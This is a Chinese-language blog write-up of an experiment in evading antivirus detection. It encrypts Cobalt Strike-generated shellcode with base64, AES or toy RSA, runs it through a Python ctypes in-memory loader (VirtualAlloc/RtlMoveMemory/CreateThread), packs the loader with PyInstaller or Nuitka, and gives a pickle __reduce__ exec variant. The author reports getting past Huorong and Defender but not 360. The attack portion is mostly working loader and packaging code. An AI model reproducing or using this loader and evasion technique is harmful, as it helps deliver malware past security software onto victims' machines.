通过加密shellcode方式过安全软件拦截实验

先说结论，笔者没成功过360

- ## shellcode：

> Shellcode 是一段用于在目标系统上执行特定操作的机器码。它通常被用于利用软件漏洞，以获取对目标系统的控制权或执行特定的恶意行为。 Shellcode 可以执行诸如创建进程、提升权限、下载和执行其他恶意软件等操作。编写有效的 Shellcode 需要对目标系统的架构、内存布局和操作系统的特性有深入的了解。 在安全领域，研究人员和攻击者都会涉及到 Shellcode 的相关知识，前者用于发现和防范漏洞利用，后者则用于实施攻击。#通常是字节数组

这里可以用cs或者msf等工具生成类似的shellcode用于去目标机器执行

- ## 加密免杀：

> 没做如何处理的shellcode特征码容易被杀毒软件监测，而加密免杀则是提前用加密算法对shellcode进行一次加密，再执行代码中则将加密后的shellcode进行解密，再执行。由于shellcode是加密后的，因此不容易被杀软本身所监测

- ## 实验复现

环境：宿主机Windows11 ,pycharm，cs，VMware搭建的windows10 2019未更新defender

1. 使用cs生成的shellcode

2. 对shellcode进行加密

```
/* length: 893 bytes */
unsigned char buf[] = "\xwc\x49\...\x85\xad";//这是不全的，实验复现时自己用工具生成
```

加密算法：base64,AES，自定义

```
def encrypt(public_key, plaintext):
    e, n = public_key
    cipher = [pow(byte, e, n) for byte in plaintext]
    return (cipher)

def decrypt(private_key, ciphertext):
    d, n = private_key
    plain = [pow(byte, d, n) for byte in ciphertext]
    return bytes(plain)

# 固定的公钥和私钥
public_key = (65537, 3233)  # e 和 n
private_key = (2753, 3233)  # d 和 n
message = b"\xwc\x49\...\x85\xad"

# print("原始消息:", message)
```

```
encrypted_msg = encrypt(public_key, message)
print("加密后的消息:", encrypted_msg)
```

```
假设加密后的结果为:b"adadaawda"
```

放进执行器中

```
def decrypt(private_key, ciphertext):
    d, n = private_key
    plain = [pow(byte, d, n) for byte in ciphertext]
    return bytes(plain)

def set_shellcode(buf):
    # 加载shellcode
    VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
    RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
    CreateThread = ctypes.windll.kernel32.CreateThread
    WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
    shellcode = bytearray(buf)
    VirtualAlloc.restype = ctypes.c_void_p
    p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)),
0x3000, 0x00000040)
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))
    h = CreateThread(ctypes.c_int(0), ctypes.c_int(0),
ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))  # 执行创建线程
    WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))

def main():
    encrypt_buf = b"adadaawda"
    buf = decrypt(private_key, encrypt_buf)
    set_shellcode(buf)
```

```
#使用 pyinstaller生成exe文件
pip install pyinstaller
pyinstaller -w --onefile 执行器.py #-w生成的exe不会产生控制台，--onefile只生成一个文件
```

3. 直接丢入虚拟机中

```
结果：尝试的base64，aes,自定义rsa算法均没绕过火绒，（360未测试），自定义rsa算法绕过defender，但运行后不久被杀
```

- **这里改用其他工具打包exe,py2exe使用时需要dll依赖，没解决这个问题，改用Nuitka成功过火绒和defender**

1. Nuitka有点坑，要求下载mingw-gcc，但是它似乎不相信你下载的，哪怕拿他自己下载的链接地址下载也没用，这里就老实跟着它自己下载

   第二个坑点在于，如果你安装了微信小程序，微信小程序中的环境变量会和Nuitka有冲突这时候只需要修改微信小程序的环境变量名称即可

```
笔者修改前C:\Program Files (x86)\Tencent\微信web开发者工具\dll
#原来的文件夹路径也要改
笔者修改后C:\Program Files (x86)\Tencent\微信web开发者工具\dll-bak
```

2. Nuitka命令

```
#下载
pip install Nuitka
--windows-disable-console    #不显示控制台窗口

--windows-icon=ICON_PATH  #添加ico

--nofollow-imports  # 所有的import不编译，交给python3x.dll执行

--follow-import-to=need  #need为你需要编译成C/C++的py文件夹命名

--mingw64  #mingw(官方建议编译器)

--standalone #独立环境，这是必须的(否则拷给别人无法使用)

--windows-disable-console #没有CMD控制窗口

--output-dir=out #生成文件路径

--show-progress #显示编译的进度，很直观

--show-memory #显示内存的占用

--include-qt-plugins=sensible,styles #打包后PyQt的样式就不会变了

--plugin-enable=qt-plugins #需要加载的PyQt插件

--plugin-enable=tk-inter #打包tkinter模块的刚需

--plugin-enable=numpy #打包numpy,pandas,matplotlib模块的刚需

--plugin-enable=torch #打包pytorch的刚需

--plugin-enable=tensorflow #打包tensorflow的刚需

--windows-uac-admin=Windows #用户可以使用管理员权限来安装

--onefile  #打包成单个exe文件

#编译python 命令参考
nuitka --standalone --mingw64 --windows-disable-console set_shellcode.py
```

- # python反序列化

利用_*reduce*_方法调用序列化的代码并且执行

```
#编码
import pickle
import base64
```

```
shellcode = """
import ctypes,base64
buf = base64.b64decode(b'shellcodebyencode')
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject
shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p  # 重载函数返回类型为void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000,
0x00000040)  # 申请内存
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  # 将shellcode
指向指针
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))  # 复制
shellcode进申请的内存中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))  # 执行创建
线程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))  # 检测线程创建事件"""

class A(object):

    def __reduce__(self):

        return (exec, (shellcode,))

ret = pickle.dumps(A())
ret_b64 = base64.b64encode(ret)

print(ret_b64)

#解码
import base64,pickle,ctypes
shellcode_list = [29,10]
private_key = (2753, 3233)
d, n = private_key
shellcode = bytes([pow(byte, d, n) for byte in shellcode_list])

pickle.loads(base64.b64decode(shellcode))
```

这里用了自定义的rsa加密再编码了一次,但是依旧没有过360（和迪总做的的不一样啊）360变强了